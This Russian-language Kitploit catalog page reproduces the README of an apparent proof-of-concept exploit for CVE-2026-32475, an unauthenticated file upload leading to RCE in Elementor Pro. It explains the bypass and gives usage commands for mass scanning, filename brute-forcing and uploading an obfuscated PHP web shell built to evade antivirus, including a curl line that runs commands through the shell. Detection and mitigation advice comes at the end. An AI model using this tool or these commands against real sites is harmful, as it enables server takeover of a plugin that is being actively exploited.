Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-32475 — Доказательство концепции эксплуатации для CVE-2026-32475 — неаутентифицированная произвольная загрузка файлов в Elementor Pro, приводящая к удалённому выполнению кода. Включает массовое сканирование, подбор имени файла перебором и встроенный обфусцированный веб-шелл для авторизованного тестирования. | Kitploit
Инструменты/GitHubGitHub/4minx/cve-2026-32475
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHub4minx/cve-2026-32475

CVE-2026-32475

Репозиторий
6 ч 5 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

Доказательство концепции эксплуатации для CVE-2026-32475 — неаутентифицированная произвольная загрузка файлов в Elementor Pro, приводящая к удалённому выполнению кода. Включает массовое сканирование, подбор имени файла перебором и встроенный обфусцированный веб-шелл для авторизованного тестирования.

Поделиться

CVE-2026-32475 PoC: Elementor Pro Неаутентифицированная произвольная загрузка файлов с последующим RCE

Неаутентифицированная произвольная загрузка файлов в Elementor Pro, приводящая к удалённому выполнению кода

Proof-of-concept для CVE-2026-32475 — критической неаутентифицированной произвольной загрузки файлов в модуле Forms плагина Elementor Pro, которая приводит к удалённому выполнению кода. PoC отправляет две части файла для одного и того же поля загрузки — пустую первую запись (пустое имя файла, вызывающее UPLOAD_ERR_NO_FILE) с последующей полезной нагрузкой. Цикл validation() завершается досрочно на пустой записи через return, тогда как process_field() пропускает её через continue, поэтому полезная нагрузка никогда не проверяется на расширение и попадает в публичную директорию с расширением .php. PoC, проверяющие исправленное поведение (тот же запрос после установки патча), должны отклоняться проверкой расширения.

Примечание: Этот PoC предназначен только для авторизованного тестирования безопасности и исследований. CVE-2026-32475 активно эксплуатируется в дикой природе, и Wordfence заблокировала более 190 000 попыток с момента раскрытия 19 августа. Вы несёте ответственность за соблюдение всех применимых законов и получение письменного разрешения перед тестированием любой системы.


Информация об уязвимости

  • CVE: CVE-2026-32475
  • Тип: CWE-434 Неограниченная загрузка файла с опасным типом
  • CVSS 3.1: 9.0 (Критическая, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • Аутентификация: Не требуется (pre-auth, удалённо, низкая сложность атаки)
  • Активная эксплуатация: Да (оружие создано в тот же день; более 190 000 заблокированных попыток с 19 по 23 августа)
  • Затронутое ПО: Elementor Pro (коммерческий плагин WordPress), версии <= 4.2.1
  • Исправлено в: 4.2.2 (выпущено 19 августа 2026)
  • Сообщили: Tin Pham (TF1T) через Patchstack; Austin Ginder через Wordfence (вознаграждение $15 600)
  • Раскрытие: 19 августа 2026

Требования

  • Python 3.8+ с библиотекой requests
  • Цель: сайт WordPress с Elementor Pro <= 4.2.1 и опубликованной формой, содержащей поле загрузки файла

Установка зависимостей:

root@kitploit:~
pip install requests

Использование

Одиночная цель

root@kitploit:~
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6

Подтверждение выполнения (перебор имени файла uniqid())

root@kitploit:~
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --brute --seconds-window 3

Загрузка встроенного обфусцированного веб-шелла

root@kitploit:~
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --shell --brute

--shell загружает минимальный обфусцированный PHP-веб-шелл (ключевые слова создаются во время выполнения через chr()/implode/strrev, параметр команды vapcom), чтобы простые статические сигнатуры и антивирусное сканирование в реальном времени на диске не обнаруживали его. Сохранённое имя файла по-прежнему случайное (<uniqid()>.php); комбинируйте с --brute, который проверяет ?vapcom=echo <marker> и сообщает exec confirmed: <name>.php. Ручное использование после обнаружения:

root@kitploit:~
curl "http://TARGET/wp-content/uploads/elementor/forms/<uniqid>.php?vapcom=id"

Массовое сканирование

root@kitploit:~
python cve-2026-32475-poc.py -T targets.txt -o results.csv

Пользовательская полезная нагрузка

root@kitploit:~
python cve-2026-32475-poc.py -t http://target/page-with-form/ --payload ./lab-shell.php

Параметры

АргументОписаниеПо умолчанию
-t, --targetURL одиночной цели-
-T, --targetsФайл с URL целей, по одному на строку-
-o, --outputФайл результатов (CSV: target, status, form_id, post_id, field, note)-
--timeoutТаймаут запроса в секундах15
--post-idПереопределить обнаруженный post_idauto
--form-idПереопределить обнаруженный form_id (id виджета Elementor)auto
--fieldПереопределить обнаруженный custom_id поля загрузкиauto
--payloadПуть к файлу пользовательской полезной нагрузки (по умолчанию: безвредный PHP-файл с токеном)benign token
--shellЗагрузить встроенный обфусцированный PHP-веб-шелл (<?php ... system($_GET) ?>, создаваемый во время выполнения, параметр vapcom) вместо токенаoff
--bruteПосле успешной загрузки перебрать имя файла uniqid() для подтверждения выполнения кодаoff
--seconds-windowСекунды до/после заголовка Date сервера для перебора5

Пример вывода

root@kitploit:~
[*] Probing http://localhost/wplab/?page_id=6 ...
[+] Form found: post_id=6 form_id=a1b2c3d4 field=upload_file
[*] AJAX -> HTTP 200
[*] result: vulnerable - upload accepted
    response    : {"success":true,"data":{"message":"Your submission was successful.","data":[]}}
    uploaded to : /wp-content/uploads/elementor/forms/<uniqid>.php
[+] CONFIRMED EXECUTION: 6a9bb5d70fba6.php -> 'POC3f9a2c...'

[*] done: 1/1 vulnerable

success:true в AJAX-ответе означает, что полезная нагрузка была принята без проверки расширения. Шаг 4 с --brute (код 200 на угаданном .php-файле, содержащем маркер) подтверждает выполнение PHP на стороне сервера — то есть полный RCE.

Статусы результатов: vulnerable | patched | unknown | error

  • vulnerable — веб-сервер вернул "success":true; полезная нагрузка обошла проверку расширения
  • patched — загрузка была отклонена с ошибкой типа файла (проверка расширения сработала)
  • unknown — HTTP-запрос прошёл успешно, но ответ не был success:true (неверные ID или непредвиденное состояние)
  • error — сбой запроса/разбора (таймаут, не-200, форма не найдена)

Поведение полезной нагрузки и примечания о веб-шелле

  • Сохранённое имя файла всегда <uniqid()>.<расширение_атакующего> — отправленное базовое имя отбрасывается, поэтому трюки с двойным расширением/null-байтом неактуальны; важна только проверка расширения, и именно она ломается.
  • Elementor поставляет .htaccess в wp-content/uploads/elementor/forms/, который устанавливает Content-Disposition: attachment для всех файлов. Это не останавливает выполнение — PHP по-прежнему выполняется на стороне сервера, а загруженный ответ является результатом выполнения. Чтобы отобразить шелл в браузере в лабораторной среде, отключите этот .htaccess; в реальном мире считайте его косметическим и полагайтесь на блокировку PHP на уровне сервера.
  • uniqid() = sprintf("%08x%05x", uint32(tv_sec), tv_usec), поэтому имя зависит от времени (Unix-секунды, младшие 32 бита, + микросекунды). Шаг перебора ограничивает секунду, наблюдаемую в заголовке Date ответа на отправку, и для .php-файлов запрашивает ?vapcom=echo <marker> (или ?c= для файла токена/--payload), так что ответ с маркером означает реальное выполнение PHP на стороне сервера, а не просто чтение файла. Худший случай — ~1 млн переборов микросекунд в секунду, поэтому ужесточите --seconds-window, чтобы сократить время выполнения.

Обнаружение / проверка компрометации

root@kitploit:~
# PHP-файлы, которых не должно быть в директории загрузок
find wp-content/uploads/elementor/forms/ -type f -name "*.php*"
  • Считайте любой файл .php/.phtml/.phar/.hta в директории форм признаком компрометации.
  • Ищите в журналах доступа GET по /wp-content/uploads/elementor/forms/ и POST с elementor_pro_forms_send_form.
  • Если шелл был выполнен, ищите подозрительных администраторов, mu-plugins, изменённые файлы ядра/темы и неожиданные события WP-Cron; предпочтительнее восстановление из заведомо исправной резервной копии, чем очистка на месте.

Меры по смягчению

  • Обновитесь до Elementor Pro 4.2.2 или новее. Обновления Elementor Pro доставляются собственным сервисом Elementor — просроченная лицензия не предложит обновление.
  • Если вы не можете немедленно установить патч, заблокируйте выполнение PHP в директории загрузок на уровне веб-сервера (правило location в nginx или <FilesMatch> в Apache). Это долговременное исправление, которое сводит эту и будущие уязвимости загрузки к «потраченному месту на диске».
  • Проведите инвентаризацию опубликованных форм; ограничьте принимаемые типы файлов; удалите неиспользуемые поля загрузки.
  • После обновления: просканируйте директорию загрузок, проверьте учётные записи администраторов и проаудируйте журналы на предмет действия elementor_pro_forms_send_form.

Ссылки

  • Patchstack — Critical Unauthenticated File Upload to RCE in Elementor Pro
  • Wordfence — Attackers Actively Exploiting Critical Vulnerability in Elementor Pro
  • MagicWP — CVE-2026-32475: Elementor Pro Arbitrary File Upload
  • NVD — CVE-2026-32475
  • dev.to — Active Exploitation of PHP Web Shell via Array Validation Bypass
  • deniz.in — Elementor Pro RCE: unvalidated file uploads fixed in version 4.2.2
Скачать инструмент